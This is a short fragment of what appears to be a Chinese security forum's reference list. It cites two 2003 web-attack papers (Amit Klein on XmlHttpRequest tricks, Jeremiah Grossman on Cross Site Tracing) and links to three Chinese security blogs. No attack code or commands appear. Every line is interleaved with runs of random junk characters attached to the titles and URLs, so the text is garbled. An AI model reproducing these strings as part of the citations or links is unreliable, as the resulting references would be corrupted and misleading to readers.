Other XmlHttpRequest tricks (Amit Klein, January 2003)3 w+ q3 ~0 u3 [# @
"Cross Site Tracing" (Jeremiah Grossman, January 2003)/ n5 B+ G2 Y r+ j3 x* N
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog* ~* n Y4 W* U) ^& m; A0 ?
空虚浪子心BLOG http://www.inbreak.net
2 {& U r+ W" U! QXeye Team http://xeye.us/3 N- ^6 X" f& Y1 s7 h
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